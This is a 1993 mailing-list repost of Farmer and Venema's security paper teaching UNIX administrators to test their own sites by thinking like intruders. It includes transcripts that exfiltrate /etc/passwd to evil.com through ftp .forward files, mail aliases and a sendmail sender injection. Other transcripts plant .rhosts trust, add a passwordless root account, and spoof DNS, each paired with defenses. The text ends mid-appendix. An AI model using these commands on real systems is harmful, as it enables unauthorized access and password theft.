From Firewalls-Owner@GreatCircle.COM Thu Dec 2 05:02:50 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA01177; Thu, 2 Dec 93 05:02:50 GMT Received: from Sun.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA00987; Wed, 1 Dec 93 19:45:08 PST Received: from Corp.Sun.COM (lemay.Corp.Sun.COM) by Sun.COM (4.1/SMI-4.1) id AA13219; Wed, 1 Dec 93 19:45:42 PST Received: from death.corp.sun.com.corp.sun.com by Corp.Sun.COM (4.1/elliemay (corpmail1 inbound)) id AA00222; Wed, 1 Dec 93 19:45:40 PST Received: by death.corp.sun.com.corp.sun.com (4.1/SMI-4.1) id AA01803; Wed, 1 Dec 93 19:48:46 PST Message-Id: <9312020348.AA01803@death.corp.sun.com.corp.sun.com> To: firewalls@greatcircle.com Subject: system administrators guide to cracking Date: Wed, 01 Dec 93 19:48:45 -0800 From: Dan Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk (Posted to various newsgroups as well; of firewall interest.) ============================================== _Improving the Security of Your Site by Breaking Into it_ Dan Farmer Wietse Venema Sun Microsystems Eindhoven University of Technology zen@sun.com wietse@wzv.win.tue.nl Introduction ------------ Every day, all over the world, computer networks and hosts are being broken into. The level of sophistication of these attacks varies widely; while it is generally believed that most break-ins succeed due to weak passwords, there are still a large number of intrusions that use more advanced techniques to break in. Less is known about the latter types of break-ins, because by their very nature they are much harder to detect. ----- CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley. Purdue. Sun. You name it, we've seen it broken into. Anything that is on the Internet (and many that isn't) seems to be fairly easy game. Are these targets unusual? What happened? Fade to... A young boy, with greasy blonde hair, sitting in a dark room. The room is illuminated only by the luminescense of the C64's 40 character screen. Taking another long drag from his Benson and Hedges cigarette, the weary system cracker telnets to the next faceless ".mil" site on his hit list. "guest -- guest", "root -- root", and "system -- manager" all fail. No matter. He has all night... he pencils the host off of his list, and tiredly types in the next potential victim... This seems to be the popular image of a system cracker. Young, inexperienced, and possessing vast quantities of time to waste, to get into just one more system. However, there is a far more dangerous type of system cracker out there. One who knows the ins and outs of the latest security auditing and cracking tools, who can modify them for specific attacks, and who can write his/her own programs. One who not only reads about the latest security holes, but also personally discovers bugs and vulnerabilities. A deadly creature that can both strike poisonously and hide its tracks without a whisper or hint of a trail. The uebercracker is here. ----- Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's uebermensch, or, literally translated into English, "over man." Nietzsche used the term not to refer to a comic book superman, but instead a man who had gone beyond the incompetence, pettiness, and weakness of the everyday man. The uebercracker is therefore the system cracker who has gone beyond simple cookbook methods of breaking into systems. An uebercracker is not usually motivated to perform random acts of violence. Targets are not arbitrary -- there is a purpose, whether it be personal monetary gain, a hit and run raid for information, or a challenge to strike a major or prestigious site or net.personality. An uebercracker is hard to detect, harder to stop, and hardest to keep out of your site for good. Overview -------- In this paper we will take an unusual approach to system security. Instead of merely saying that something is a problem, we will look through the eyes of a potential intruder, and show _why_ it is one. We will illustrate that even seemingly harmless network services can become valuable tools in the search for weak points of a system, even when these services are operating exactly as they are intended to. In an effort to shed some light on how more advanced intrusions occur, this paper outlines various mechanisms that crackers have actually used to obtain access to systems and, in addition, some techniques we either suspect intruders of using, or that we have used ourselves in tests or in friendly/authorized environments. Our motivation for writing this paper is that system administrators are often unaware of the dangers presented by anything beyond the most trivial attacks. While it is widely known that the proper level of protection depends on what has to be protected, many sites appear to lack the resources to assess what level of host and network security is adequate. By showing what intruders can do to gain access to a remote site, we are trying to help system administrators to make _informed_ decisions on how to secure their site -- or not. We will limit the discussion to techniques that can give a remote intruder access to a (possibly non-interactive) shell process on a UNIX host. Once this is achieved, the details of obtaining root privilege are beyond the scope of this work -- we consider them too site-dependent and, in many cases, too trivial to merit much discussion. We want to stress that we will not merely run down a list of bugs or security holes -- there will always be new ones for a potential attacker to exploit. The purpose of this paper is to try to get the reader to look at her or his system in a new way -- one that will hopefully afford him or her the opportunity to _understand_ how their system can be compromised, and how. We would also like to reiterate to the reader that the purpose of this paper is to show you how to test the security of your own site, not how to break into other people's systems. The intrusion techniques we illustrate here will often leave traces in your system auditing logs -- it might be constructive to examine them after trying some of these attacks out, to see what a real attack might look like. Certainly other sites and system administrators will take a very dim view of your activities if you decide to use their hosts for security testing without advance authorization; indeed, it is quite possible that legal action may be pursued against you if they perceive it as an attack. There are four main parts to the paper. The first part is the introduction and overview. The second part attempts to give the reader a feel for what it is like to be an intruder and how to go from knowing nothing about a system to compromising its security. This section goes over actual techniques to gain information and entrance and covers basic strategies such as exploiting trust and abusing improperly configured basic network services (ftp, mail, tftp, etc.) It also discusses slightly more advanced topics, such as NIS and NFS, as well as various common bugs and configuration problems that are somewhat more OS or system specific. Defensive strategies against each of the various attacks are also covered here. The third section deals with trust: how the security of one system depends on the integrity of other systems. Trust is the most complex subject in this paper, and for the sake of brevity we will limit the discussion to clients in disguise. The fourth section covers the basic steps that a system administrator may take to protect her or his system. Most of the methods presented here are merely common sense, but they are often ignored in practice -- one of our goals is to show just how dangerous it can be to ignore basic security practices. Case studies, pointers to security-related information, and software are described in the appendices at the end of the paper. While exploring the methods and strategies discussed in this paper we we wrote SATAN (Security Analysis Tool for Auditing Networks.) Written in shell, perl, expect and C, it examines a remote host or set of hosts and gathers as much information as possible by remotely probing NIS, finger, NFS, ftp and tftp, rexd, and other services. This information includes the presence of various network information services as well as potential security flaws -- usually in the form of incorrectly setup or configured network services, well-known bugs in system or network utilities, or poor or ignorant policy decisions. It then can either report on this data or use an expert system to further investigate any potential security problems. While SATAN doesn't use all of the methods that we discuss in the paper, it has succeeded with ominous regularity in finding serious holes in the security of Internet sites. It will be posted and made available via anonymous ftp when completed; Appendix A covers its salient features. Note that it isn't possible to cover all possible methods of breaking into systems in a single paper. Indeed, we won't cover two of the most effective methods of breaking into hosts: social engineering and password cracking. The latter method is so effective, however, that several of the strategies presented here are geared towards acquiring password files. In addition, while windowing systems (X, OpenWindows, etc.) can provide a fertile ground for exploitation, we simply don't know many methods that are used to break into remote systems. Many system crackers use non-bitmapped terminals which can prevent them from using some of the more interesting methods to exploit windowing systems effectively (although being able to monitor the victim's keyboard is often sufficient to capture passwords). Finally, while worms, viruses, trojan horses, and other malware are very interesting, they are not common (on UNIX systems) and probably will use similar techniques to the ones we describe in this paper as individual parts to their attack strategy. Gaining Information ------------------- Let us assume that you are the head system administrator of Victim Incorporated's network of UNIX workstations. In an effort to secure your machines, you ask a friendly system administrator from a nearby site (evil.com) to give you an account on one of her machines so that you can look at your own system's security from the outside. What should you do? First, try to gather information about your (target) host. There is a wealth of network services to look at: finger, showmount, and rpcinfo are good starting points. But don't stop there -- you should also utilize DNS, whois, sendmail (smtp), ftp, uucp, and as many other services as you can find. There are so many methods and techniques that space precludes us from showing all of them, but we will try to show a cross-section of the most common and/or dangerous strategies that we have seen or have thought of. Ideally, you would gather such information about all hosts on the subnet or area of attack -- information is power -- but for now we'll examine only our intended target. To start out, you look at what the ubiquitous finger command shows you (assume it is 6pm, Nov 6, 1993): victim % finger @victim.com [victim.com] Login Name TTY Idle When Where zen Dr. Fubar co 1d Wed 08:00 death.com Good! A single idle user -- it is likely that no one will notice if you actually manage to break in. Now you try more tactics. As every finger devotee knows, fingering "@", "0", and "", as well as common names, such as root, bin, ftp, system, guest, demo, manager, etc., can reveal interesting information. What that information is depends on the version of finger that your target is running, but the most notable are account names, along with their home directories and the host that they last logged in from. To add to this information, you can use rusers (in particular with the -l flag) to get useful information on logged-in users. Trying these commands on victim.com reveals the following information, presented in a compressed tabular form to save space: Login Home-dir Shell Last login, from where ----- -------- ----- ---------------------- root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com bin /bin Never logged in nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com guest /export/foo /bin/sh Never logged in ftp /home/ftp Never logged in Both our experiments with SATAN and watching system crackers at work have proved to us that finger is one of the most dangerous services, because it is so useful for investigating a potential target. However, much of this information is useful only when used in conjunction with other data. For instance, running showmount on your target reveals: evil % showmount -e victim.com export list for victim.com: /export (everyone) /var (everyone) /usr easy /export/exec/kvm/sun4c.sunos.4.1.3 easy /export/root/easy easy /export/swap/easy easy Note that /export/foo is exported to the world; also note that this is user guest's home directory. Time for your first break-in! In this case, you'll mount the home directory of user "guest." Since you don't have a corresponding account on the local machine and since root cannot modify files on an NFS mounted filesystem, you create a "guest" account in your local password file. As user guest you can put an .rhosts entry in the remote guest home directory, which will allow you to login to the target machine without having to supply a password. evil # mount victim.com:/export/foo /foo evil # cd /foo evil # ls -lag total 3 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. 1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd evil # ls -lag total 3 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. 1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest evil # su guest evil % echo victim.com >> guest/.rhosts evil % rlogin victim.com Welcome to victim.com! victim % If, instead of home directories, victim.com were exporting filesystems with user commands (say, /usr or /usr/local/bin), you could replace a command with a trojan horse that executes any command of your choice. The next user to execute that command would execute your program. We suggest that filesystems be exported: o Read/write only to specific, trusted clients. o Read-only, where possible (data or programs can often be exported in this manner.) If the target has a "+" wildcard in its /etc/hosts.equiv (the default in various vendor's machines) or has the netgroups bug (CERT advisory 91:12), any non-root user with a login name in the target's password file can rlogin to the target without a password. And since the user "bin" often owns key files and directories, your next attack is to try to log in to the target host and modify the password file to let you have root access: evil % whoami bin evil % rsh victim.com csh -i Warning: no access to tty; thus no job control in this shell... victim % ls -ldg /etc drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc victim % cd /etc victim % mv passwd pw.old victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd victim % ^D evil % rlogin victim.com -l toor Welcome to victim.com! victim # A few notes about the method used above; "rsh victim.com csh -i" is used to initially get onto the system because it doesn't leave any traces in the wtmp or utmp system auditing files, making the rsh invisible for finger and who. The remote shell isn't attached to a pseudo-terminal, however, so that screen-oriented programs such as pagers and editors will fail -- but it is very handy for brief exploration. The COPS security auditing tool (see appendix D) will report key files or directories that are writable to accounts other than the superuser. If you run SunOS 4.x you can apply patch 100103 to fix most file permission problems. On many systems, rsh probes as shown above, even when successful, would remain completely unnoticed; the tcp wrapper (appendix D), which logs incoming connections, can help to expose such activities. ---- What now? Have you uncovered all the holes on your target system? Not by a long shot. Going back to the finger results on your target, you notice that it has an "ftp" account, which usually means that anonymous ftp is enabled. Anonymous ftp can be an easy way to get access, as it is often misconfigured. For example, the target may have a complete copy of the /etc/passwd file in the anonymous ftp ~ftp/etc directory instead of a stripped down version. In this example, though, you see that the latter doesn't seem to be true (how can you tell without actually examining the file?) However, the home directory of ftp on victim.com is writable. This allows you to remotely execute a command -- in this case, mailing the password file back to yourself -- by the simple method of creating a .forward file that executes a command when mail is sent to the ftp account. This is the same mechanism of piping mail to a program that the "vacation" program uses to automatically reply to mail messages. evil % cat forward_sucker_file "|/bin/mail zen@evil.com < /etc/passwd" evil % ftp victim.com Connected to victim.com 220 victim FTP server ready. Name (victim.com:zen): ftp 331 Guest login ok, send ident as password. Password: 230 Guest login ok, access restrictions apply. ftp> ls -lga 200 PORT command successful. 150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes). total 5 drwxr-xr-x 4 101 1 512 Jun 20 1991 . drwxr-xr-x 4 101 1 512 Jun 20 1991 .. drwxr-xr-x 2 0 1 512 Jun 20 1991 bin drwxr-xr-x 2 0 1 512 Jun 20 1991 etc drwxr-xr-x 3 101 1 512 Aug 22 1991 pub 226 ASCII Transfer complete. 242 bytes received in 0.066 seconds (3.6 Kbytes/s) ftp> put forward_sucker_file .forward 43 bytes sent in 0.0015 seconds (28 Kbytes/s) ftp> quit evil % echo test | mail ftp@victim.com Now you simply wait for the password file to be sent back to you. The security auditing tool COPS will check your anonymous ftp setup; see the man page for ftpd, the documentation/code for COPS, or CERT advisory 93:10 for information on how to set up anonymous ftp correctly. Vulnerabilities in ftp are often a matter of incorrect ownership or permissions of key files or directories. At the very least, make sure that ~ftp and all "system" directories and files below ~ftp are owned by root and are not writable by any user. While looking at ftp, you can check for an older bug that was once widely exploited: % ftp -n ftp> open victim.com Connected to victim.com 220 victim.com FTP server ready. ftp> quote user ftp 331 Guest login ok, send ident as password. ftp> quote cwd ~root 530 Please login with USER and PASS. ftp> quote pass ftp 230 Guest login ok, access restrictions apply. ftp> ls -al / (or whatever) If this works, you now are logged in as root, and able to modify the password file, or whatever you desire. If your system exhibits this bug, you should definitely get an update to your ftpd daemon, either from your vendor or (via anon ftp) from ftp.uu.net. The wuarchive ftpd, a popular replacement ftp daemon put out by the Washington University in Saint Louis, had almost the same problem. If your wuarchive ftpd pre-dates April 8, 1993, you should replace it by a more recent version. Finally, there is a program vaguely similar to ftp -- tftp, or the trivial file transfer program. This daemon doesn't require any password for authentication; if a host provides tftp without restricting the access (usually via some secure flag set in the inetd.conf file), an attacker can read and write files anywhere on the system. In the example, you get the remote password file and place it in your local /tmp directory: evil % tftp tftp> connect victim.com tftp> get /etc/passwd /tmp/passwd.victim tftp> quit For security's sake, tftp should not be run; if tftp is necessary, use the secure option/flag to restrict access to a directory that has no valuable information, or run it under the control of a chroot wrapper program. ---- If none of the previous methods have worked, it is time to go on to more drastic measures. You have a friend in rpcinfo, another very handy program, sometimes even more useful than finger. Many hosts run RPC services that can be exploited; rpcinfo can talk to the portmapper and show you the way. It can tell you if the host is running NIS, if it is a NIS server or slave, if a diskless workstation is around, if it is running NFS, any of the info services (rusersd, rstatd, etc.), or any other unusual programs (auditing or security related). For instance, going back to our sample target: evil % rpcinfo -p victim.com [output trimmed for brevity's sake] program vers proto port 100004 2 tcp 673 ypserv 100005 1 udp 721 mountd 100003 2 udp 2049 nfs 100026 1 udp 733 bootparam 100017 1 tcp 1274 rexd In this case, you can see several significant facts about our target; first of which is that it is an NIS server. It is perhaps not widely known, but once you know the NIS domainname of a server, you can get any of its NIS maps by a simple rpc query, even when you are outside the subnet served by the NIS server (for example, using the YPX program that can be found in the comp.sources.misc archives on ftp.uu.net). In addition, very much like easily guessed passwords, many systems use easily guessed NIS domainnames. Trying to guess the NIS domainname is often very fruitful. Good candidates are the fully and partially qualified hostname (e.g. "victim" and "victim.com"), the organization name, netgroup names in "showmount" output, and so on. If you wanted to guess that the domainname was "victim", you could type: evil % ypwhich -d victim victim.com Domain victim not bound. This was an unsuccessful attempt; if you had guessed correctly it would have returned with the host name of victim.com's NIS server. However, note from the NFS section that victim.com is exporting the "/var" directory to the world. All that is needed is to mount this directory and look in the "yp" subdirectory -- among other things you will see another subdirectory that contains the domainname of the target. evil # mount victim.com:/var /foo evil # cd /foo evil # /bin/ls -alg /foo/yp total 17 1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 . 1 drwxr-sr-x 11 root staff 512 Jun 29 10:54 .. 11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile 1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding 2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar [...] In this case, "foo_bar" is the NIS domain name. In addition, the NIS maps often contain a good list of user/employee names as well as internal host lists, not to mention passwords for cracking. Appendix C details the results of a case study on NIS password files. ---- You note that the rpcinfo output also showed that victim.com runs rexd. Like the rsh daemon, rexd processes requests of the form "please execute this command as that user". Unlike rshd, however, rexd does not care if the client host is in the hosts.equiv or .rhost files. Normally the rexd client program is the "on" command, but it only takes a short C program to send arbitrary client host and userid information to the rexd server; rexd will happily execute the command. For these reasons, running rexd is similar to having no passwords at all: all security is in the client, not in the server where it should be. Rexd security can be improved somewhat by using secure RPC. ---- While looking at the output from rpcinfo, you observe that victim.com also seems to be a server for diskless workstations. This is evidenced by the presence of the bootparam service, which provides information to the diskless clients for booting. If you ask nicely, using BOOTPARAMPROC_WHOAMI and provide the address of a client, you can get its NIS domainname. This can be very useful when combined with the fact that you can get arbitrary NIS maps (such as the password file) when you know the NIS domainname. Here is a sample code snippet to do just that (bootparam is part of SATAN.) char *server; struct bp_whoami_arg arg; /* query */ struct bp_whoami_res res; /* reply */ /* initializations omitted... */ callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res); printf("%s has nisdomain %s\n", server, res.domain_name); The showmount output indicated that "easy" is a diskless client of victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI query: evil % bootparam victim.com easy.victim.com victim.com has nisdomain foo_bar ---- NIS masters control the mail aliases for the NIS domain in question. Just like local mail alias files, you can create a mail alias that will execute commands when mail is sent to it (a once popular example of this is the "decode" alias which uudecodes mail files sent to it.) For instance, here you create an alias "foo", which mails the password file back to evil.com by simply mailing any message to it: nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases nis-master # cd /var/yp nis-master # make aliases nis-master # echo test | mail -v foo@victim.com Hopefully attackers won't have control of your NIS master host, but even more hopefully the lesson is clear -- NIS is normally insecure, but if an attacker has control of your NIS master, then s/he effectively has control of the client hosts (e.g. can execute arbitrary commands). There aren't many effective defenses against NIS attacks; it is an insecure service that has almost no authentication between clients and servers. To make things worse, it seems fairly clear that arbitrary maps can be forced onto even master servers (e.g., it is possible to treat an NIS server as a client). This, obviously, would subvert the entire schema. If it is absolutely necessary to use NIS, choosing a hard to guess domainname can help slightly, but if you run diskless clients that are exposed to potential attackers then it is trivial for an attacker to defeat this simple step by using the bootparam trick to get the domainname. If NIS is used to propagate the password maps, then shadow passwords do not give additional protection because the shadow map is still accessible to any attacker that has root on an attacking host. Better is to use NIS as little as possible, or to at least realize that the maps can be subject to perusal by potentially hostile forces. Secure RPC goes a long way to diminish the threat, but it has its own problems, primarily in that it is difficult to administer, but also in that the cryptographic methods used within are not very strong. It has been rumored that NIS+, Sun's new network information service, fixes some of these problems, but until now it has been limited to running on Suns, and thus far has not lived up to the promise of the design. Finally, using packet filtering (at the very least port 111) or securelib (see appendix D), or, for Suns, applying Sun patch 100482-02 all can help. ---- The portmapper only knows about RPC services. Other network services can be located with a brute-force method that connects to all network ports. Many network utilities and windowing systems listen to specific ports (e.g. sendmail is on port 25, telnet is on port 23, X windows is usually on port 6000, etc.) SATAN includes a program that scans the ports of a remote hosts and reports on its findings; if you run it against our target, you see: evil % tcpmap victim.com Mapping 128.128.128.1 port 21: ftp port 23: telnet port 25: smtp port 37: time port 79: finger port 512: exec port 513: login port 514: shell port 515: printer port 6000: (X) This suggests that victim.com is running X windows. If not protected properly (via the magic cookie or xhost mechanisms), window displays can be captured or watched, user keystrokes may be stolen, programs executed remotely, etc. Also, if the target is running X and accepts a telnet to port 6000, that can be used for a denial of service attack, as the target's windowing system will often "freeze up" for a short period of time. One method to determine the vulnerability of an X server is to connect to it via the XOpenDisplay() function; if the function returns NULL then you cannot access the victim's display (opendisplay is part of SATAN): char *hostname; if (XOpenDisplay(hostname) == NULL) { printf("Cannot open display: %s\n", hostname); } else { printf("Can open display: %s\n", hostname); } evil % opendisplay victim.com:0 Cannot open display: victim.com:0 X terminals, though much less powerful than a complete UNIX system, can have their own security problems. Many X terminals permit unrestricted rsh access, allowing you to start X client programs in the victim's terminal with the output appearing on your own screen: evil % xhost +xvictim.victim.com evil % rsh xvictim.victim.com telnet victim.com -display evil.com In any case, give as much thought to your window security as your filesystem and network utilities, for it can compromise your system as surely as a "+" in your hosts.equiv or a passwordless (root) account. ---- Next, you examine sendmail. Sendmail is a very complex program that has a long history of security problems, including the infamous "wiz" command (hopefully long since disabled on all machines). You can often determine the OS, sometimes down to the version number, of the target, by looking at the version number returned by sendmail. This, in turn, can give you hints as to how vulnerable it might be to any of the numerous bugs. In addition, you can see if they run the "decode" alias, which has its own set of problems: evil % telnet victim.com 25 connecting to host victim.com (128.128.128.1.), port 25 connection open 220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT expn decode 250 <"|/usr/bin/uudecode"> quit Running the "decode" alias is a security risk -- it allows potential attackers to overwrite any file that is writable by the owner of that alias -- often daemon, but potentially any user. Consider this piece of mail -- this will place "evil.com" in user zen's .rhosts file if it is writable: evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com If no home directories are known or writable, an interesting variation of this is to create a bogus /etc/aliases.pag file that contains an alias with a command you wish to execute on your target. This may work since on many systems the aliases.pag and aliases.dir files, which control the system's mail aliases, are writable to the world. evil % cat decode bin: "| cat /etc/passwd | mail zen@evil.com" evil % newaliases -oQ/tmp -oA`pwd`/decode evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null A lot of things can be found out by just asking sendmail if an address is acceptable (vrfy), or what an address expands to (expn). When the finger or rusers services are turned off, vrfy and expn can still be used to identify user accounts or targets. Vrfy and expn can also be used to find out if the user is piping mail through any program that might be exploited (e.g. vacation, mail sorters, etc.). It can be a good idea to disable the vrfy and expn commands: in most versions, look at the source file srvrsmtp.c, and either delete or change the two lines in the CmdTab structure that have the strings "vrfy" and "expn". Sites without source can still disable expn and vrfy by just editing the sendmail executable with a binary editor and replacing "vrfy" and "expn" with blanks. Acquiring a recent version of sendmail (see Appendix D) is also an extremely good idea, since there have probably been more security bugs reported in sendmail than in any other UNIX program. ---- As a sendmail-sendoff, there are two fairly well known bugs that should be checked into. The first was definitely fixed in version 5.59 from Berkeley; despite the messages below, for versions of sendmail previous to 5.59, the "evil.com" gets appended, despite the error messages, along with all of the typical mail headers, to the file specified: % cat evil_sendmail telnet victim.com 25 << EOSM rcpt to: /home/zen/.rhosts mail from: zen data random garbage . rcpt to: /home/zen/.rhosts mail from: zen data evil.com . quit EOSM evil % /bin/sh evil_sendmail Trying 128.128.128.1 Connected to victim.com Escape character is '^]'. Connection closed by foreign host. evil % rlogin victim.com -l zen Welcome to victim.com! victim % The second hole, fixed only recently, permitted anyone to specify arbitrary shell commands and/or pathnames for the sender and/or destination address. Attempts to keep details secret were in vain, and extensive discussions in mailing lists and usenet news groups led to disclosure of how to exploit some versions of the bug. As with many UNIX bugs, nearly every vendor's sendmail was vulnerable to the problem, since they all share a common source code tree ancestry. Space precludes us from discussing it fully, but a typical attack to get the password file might look like this: evil % telnet victim.com 25 Trying 128.128.128.1... Connected to victim.com Escape character is '^]'. 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 mail from: "|/bin/mail zen@evil.com < /etc/passwd" 250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok rcpt to: nosuchuser 550 nosuchuser... User unknown data 354 Enter mail, end with "." on a line by itself . 250 Mail accepted quit Connection closed by foreign host. evil % At the time of writing, version 8.6.4 of sendmail (see Appendix D for information on how to get this) is reportedly the only variant of sendmail with all of the recent security bugs fixed. Trust ----- For our final topic of vulnerability, we'll digress from the practical strategy we've followed previously to go a bit more into the theoretical side, and briefly discuss the notion of trust. The issues and implications of vulnerabilities here are a bit more subtle and far-reaching than what we've covered before; in the context of this paper we use the word trust whenever there is a situation when a server (note that any host that allows remote access can be called a server) can permit a local resource to be used by a client without password authentication when password authentication is normally required. In other words, we arbitrarily limit the discussion to clients in disguise. There are many ways that a host can trust: .rhosts and hosts.equiv files that allow access without password verification; window servers that allow remote systems to use and abuse privileges; export files that control access via NFS, and more. Nearly all of these rely on client IP address to hostname conversion to determine whether or not service is to be granted. The simplest method uses the /etc/hosts file for a direct lookup. However, today most hosts use either DNS (the Domain Name Service), NIS, or both for name lookup service. A reverse lookup occurs when a server has an IP address (from a client host connecting to it) and wishes to get the corresponding client hostname. Although the concept of how host trust works is well understood by most system administrators, the _dangers_ of trust, and the _practical_ problem it represents, irrespective of hostname impersonation, is one of the least understood problems we know of on the Internet. This goes far beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing systems -- indeed, much of the useful services in UNIX are based on the concept that well known (to an administrator or user) sites are trusted in some way. What is not understood is how networking so tightly binds security between what are normally considered disjoint hosts. Any form of trust can be spoofed, fooled, or subverted, especially when the authority that gets queried to check the credentials of the client is either outside of the server's administrative domain, or when the trust mechanism is based on something that has a weak form of authentication; both are usually the case. Obviously, if the host containing the database (either NIS, DNS, or whatever) has been compromised, the intruder can convince the target host that s/he is coming from any trusted host; it is now sufficient to find out which hosts are trusted by the target. This task is often greatly helped by examining where system administrators and system accounts (such as root, etc.) last logged in from. Going back to our target, victim.com, you note that root and some other system accounts logged in from big.victim.com. You change the PTR record for evil.com so that when you attempt to rlogin in from evil.com to victim.com, victim.com will attempt to look up your hostname and will find what you placed in the record. If the record in the DNS database looks like: 1.192.192.192.in-addr.arpa IN PTR evil.com And you change it to: 1.192.192.192.in-addr.arpa IN PTR big.victim.com then, depending on how naive victim.com's system software is, victim.com will believe the login comes from big.victim.com, and, assuming that big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be able to login without supplying a password. With NIS, it is a simple matter of either editing the host database on the NIS master (if this is controlled by the intruder) or of spoofing or forcing NIS (see discussion on NIS security above) to supply the target with whatever information you desire. Although more complex, interesting, and damaging attacks can be mounted via DNS, time and space don't allow coverage of these methods here. Two methods can be used to prevent such attacks. The first is the most direct, but perhaps the most impractical. If your site doesn't use any trust, you won't be as vulnerable to host spoofing. The other strategy is to use cryptographic protocols. Using the secure RPC protocol (used in secure NFS, NIS+, etc.) is one method; although it has been "broken" cryptographically, it still provides better assurance than RPC authentication schemes that do not use any form of encryption. Other solutions, both hardware (smartcards) and software (Kerberos), are being developed, but they are either incomplete or require changes to system software. Appendix B details the results of an informal survey taken from a variety of hosts on the Internet. Protecting the system --------------------- It is our hope that we have demonstrated that even some of the most seemingly innocuous services run can offer (sometimes unexpectedly) ammunition to determined system crackers. But, of course, if security were all that mattered, computers would never be turned on, let alone hooked into a network with literally millions of potential intruders. Rather than reiterating specific advice on what to switch on or off, we instead offer some general suggestions: o If you cannot turn off the finger service, consider installing a modified finger daemon. It is rarely necessary to reveal a user's home directory and the source of last login. o Don't run NIS unless it's absolutely necessary. Use NFS as little as possible. o Never export NFS filesystems unrestricted to the world. Try to export file systems read-only where possible. o Fortify and protect servers (e.g. hosts that provide a service to other hosts -- NFS, NIS, DNS, whatever.) Only allow administrative accounts on these hosts. o Examine carefully services offered by inetd and the portmapper. Eliminate any that aren't explicitly needed. Use Wietse Venema's inetd wrappers, if for no other reason than to log the sources of connections to your host. This adds immeasurably to the standard UNIX auditing features, especially with respect to network attacks. If possible, use the loghost mechanism of syslog to collect security-related information on a secure host. o Eliminate trust unless there is an absolute need for it. Trust is your enemy. o Use shadow passwords and a passwd command that disallows poor passwords. Disable or delete unused/dormant system or user accounts. o Keep abreast of current literature (see our suggested reading list and bibliography at the end of this paper) and security tools; communicate to others about security problems and incidents. At minimum, subscribe to the CERT mailing list and phrack magazine (plus the firewalls mailing list, if your site is using or thinking about installing a firewall) and read the usenet security newsgroups to get the latest information on security problems. Ignorance is the deadliest security problem we are aware of. o Install all vendor security patches as soon as possible, on all of your hosts. Examine security patch information for other vendors - many bugs (rdist, sendmail) are common to many UNIX variants. It is interesting to note that common solutions to security problems such as running Kerberos or using one-time passwords or digital tokens are ineffective against most of the attacks we discuss here. We heartily recommend the use of such systems, but be aware that they are _not_ a total security solution -- they are part of a larger struggle to defend your system. Conclusions ----------- Perhaps none of the methods shown here are surprising; when writing this paper, we didn't learn very much about how to break into systems. What we _did_ learn was, while testing these methods out on our own systems and that of friendly sites, just how effective this set of methods is for gaining access to a typical (UNIX) Internet host. Tiring of trying to type these in all by hand, and desiring to keep our own systems more secure, we decided to implement a security tool (SATAN) that attempts to check remote hosts for at least some of the problems discussed here. The typical response, when telling people about our paper and our tool was something on the order of "that sounds pretty dangerous -- I hope you're not going to give it out to everybody. But you since you can trust me, may I have a copy of it?" We never set out to create a cookbook or toolkit of methods and programs on how to break into systems -- instead, we saw that these same methods were being used, every day, against ourselves and against friendly system administrators. We believe that by propagating information that normally wasn't available to those outside of the underworld, we can increase security by raising awareness. Trying to restrict access to "dangerous" security information has never seemed to be a very effective method for increasing security; indeed, the opposite appears to be the case, since the system crackers have shown little reticence to share their information with each other. While it is almost certain that some of the information presented here is new material to (aspiring) system crackers, and that some will use it to gain unauthorized entrance onto hosts, the evidence presented even by our ad hoc tests shows that there is a much larger number of insecure sites, simply because the system administrators don't know any better -- they aren't stupid or slow, they simply are unable to spend the very little free time that they have to explore all of the security issues that pertain to their systems. Combine that with no easy access to this sort of information and you have poorly defended systems. We (modestly) hope that this paper will provide badly-needed data on how systems are broken into, and further, to explain _why_ certain steps should be taken to secure a system. Knowing why something is a problem is, in our opinion, the real key to learning and to making an informed, intelligent choice as to what security really means for your site. ---- Appendix A: SATAN (Security Analysis Tool for Auditing Networks) Originally conceived some years ago, SATAN is actually the prototype of a much larger and more comprehensive vision of a security tool. In its current incarnation, SATAN remotely probes and reports various bugs and weaknesses in network services and windowing systems, as well as detailing as much generally useful information as possible about the target(s). It then processes the data with a crude filter and what might be termed an expert system to generate the final security analysis. While not particularly fast, it is extremely modular and easy to modify. SATAN consists of several sub-programs, each of which is an executable file (perl, shell, compiled C binary, whatever) that tests a host for a given potential 